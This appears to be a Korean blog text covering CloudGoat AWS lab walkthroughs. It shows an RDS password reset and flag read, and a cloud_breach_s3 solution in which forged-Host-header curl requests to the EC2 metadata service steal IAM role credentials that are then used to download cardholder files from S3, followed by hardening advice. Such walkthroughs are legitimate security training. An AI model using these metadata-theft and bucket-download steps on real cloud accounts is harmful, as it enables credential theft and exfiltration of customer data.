# ---------- 2. DB 패스워드 수정 및 DB 정보 탈취 ----------
### DB 인스턴스 수정 (master-user-password) ###
aws rds modify-db-instance --db-instance-identifier cg-rds --master-user-password <원하는_패스워드> --profile s3_secret
### DB 인스턴스 접속 ###
mysql -h cg-rds.ca5yusseq5gc.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -p
### DB 명령어 ###
1) show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| innodb |
| mydatabase |
| mysql |
| performance_schema |
| sys |
+--------------------+
6 rows in set (0.00 sec)
2) use mydatabase;
3) show tables;
+----------------------+
| Tables_in_mydatabase |
+----------------------+
| flag |
+----------------------+
1 row in set (0.00 sec)
4) select * from flag;
secret flag 내용
보안 개선 방안
1. IAM 권한은 최소로 운영할 것
내용이 유용하셨다면 좋아요&댓글 부탁드립니다. 이 블로그를 이끌어갈 수 있는 강력한 힘입니다!
1. Your task is to enumerate the Elastic Beanstalk environment and discover misconfigured environment variables containing secondary credentials. - Beanstalk 환경의 잘못 설정된 값을 찾아 두번째 credential을 발견합니다. 2. Using these secondary credentials, you can enumerate IAM permissions to eventually create an access key for an administrator user. - 두번째 credential을 이용하여 Admin user의 Access Key를 생성합니다. 3. With these admin privileges, you retrieve the final flag stored in AWS Secrets Manager. - Admin 권한을 이용하여 AWS Secrets Manager의 저장된 플래그 값을 찾습니다.
Cloudgoat beanstalk_secrets 문제
문제 풀이
1. Beanstalk 분석
Beanstalk 환경 세팅 값을 확인해보면 환경 세팅값에 secondary user에 대한 Access Key와 Secret Key를 얻을 수 있습니다.
1) you start as the 'bilbo' user 2) You will assume a role with more privileges 3) discover a lambda function that applies policies to users 4) and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.
이 문제는 취약한 EC2 metadata 설정을 이용하여 S3 버킷 내의 파일을 탈취하는 문제입니다.
문제 풀이
0. 환경 설정
# ---------- 0. 환경 구성 완료 및 처음 주어진 정보 ----------
cloudgoat create cloud_breach_s3
cat start.txt
# 출력결과
cloudgoat_output_aws_account_id = 739275444311
cloudgoat_output_target_ec2_server_ip = 3.91.238.169
1. EC2 meta-data 확인
잘못 설정된 EC2 meta-data를 통해 Access Key를 확인합니다.
# ---------- 1. EC2 metadata 확인 ----------
### 전달 받은 EC2 CURL 요청 ###
curl -X GET http://3.91.238.169
# 출력결과
<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
### Host 헤더를 수정하여 재요청 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data
# 출력결과
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
### meta-data/iam/security-credentials/ 경로 확인 ###
http://3.91.238.169/latest/meta-data/iam/security-credentials/
# 출력결과
cg-banking-WAF-Role-cgid0p8gsml3ep
### 역할에 대한 Access Key 확인 ###
curl -X GET -H "Host: 169.254.169.254" http://3.91.238.169/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgid0p8gsml3ep
2. 역할 전환 및 데이터 다운로드
역할에 대한 Access Key를 확인했으면 AWS Cli를 사용하기 위해 새로운 프로파일을 생성합니다.
그리고 새로운 프로파일을 이용하여 S3 데이터를 조회하고 다운로드 하면 됩니다.
# ---------- 2. 역할 전환 및 버킷 조회 그리고 데이터 다운로드 ----------
### 역할 전환에 따른 새로운 프로파일 생성 ###
aws configure set --profile cloud_breach_s3 aws_access_key_id <aws_access_key_id>
aws configure set --profile cloud_breach_s3 aws_secret_access_key <aws_secret_access_key>
aws configure set --profile cloud_breach_s3 aws_session_token <aws_session_token>
### 역할 전환 후 S3 버킷 조회###
aws s3 ls --profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:41 cg-cardholder-data-bucket-cgid0p8gsml3ep
### S3 버킷 내부 조회 ###
aws s3 ls s3://cg-cardholder-data-bucket-cgid0p8gsml3ep \
--recursive \
--profile cloud_breach_s3
# 출력결과
2025-04-10 05:24:46 58872 cardholder_data_primary.csv
2025-04-10 05:24:46 59384 cardholder_data_secondary.csv
2025-04-10 05:24:46 92165 cardholders_corporate.csv
2025-04-10 05:24:47 249500 goat.png
### 다운로드 받을 폴더 생성 ###
mkdir s3_download
### 버킷에 있는 데이터 한번에 다운로드 ###
aws s3 cp s3://cg-cardholder-data-bucket-cgid0p8gsml3ep ./s3_download --recursive --profile cloud_breach_s3
# 출력결과
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_primary.csv to s3_download/cardholder_data_primary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholder_data_secondary.csv to s3_download/cardholder_data_secondary.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/cardholders_corporate.csv to s3_download/cardholders_corporate.csv
download: s3://cg-cardholder-data-bucket-cgid0p8gsml3ep/goat.png to s3_download/goat.png
아래 사진은 S3 버킷 내에 있는 정보를 다운로드 한 결과입니다.
S3 bucket 오브젝트 다운로드 결과
Docker를 통해 cloudgoat를 실행했는데 사진 파일 확인을 위해 사진을 로컬로 옮겨야 하는 경우
아래와 같이 도커에서 로컬로 파일을 옮길 수 있습니다.
### 컨테이너 조회 ###
docker ps -a
### Docker에 있는 파일 로컬로 옮기기 ###
docker cp <컨테이너 네임>:<Docker내 파일 경로>/goat.png <Local 경로>
goat.png
보안 개선 방안
1. EC2 메타데이터 - IMDSv2만 허용하도록 설정
- http-token required -> IMDSv2 전용 사용
- hop-limit -> SSRF 방지에 유용 (EC2 외부에서 메타데이터에 접근 불가)
2. EC2 메타데이터 - 서버측 요청 위조 SSRF(server side request forgery) 방어
- 공격자가 SSRF 기법으로 http://169.254.169.254/latest/meta-data/ 에 접근하여 임시 자격 증명 탈취함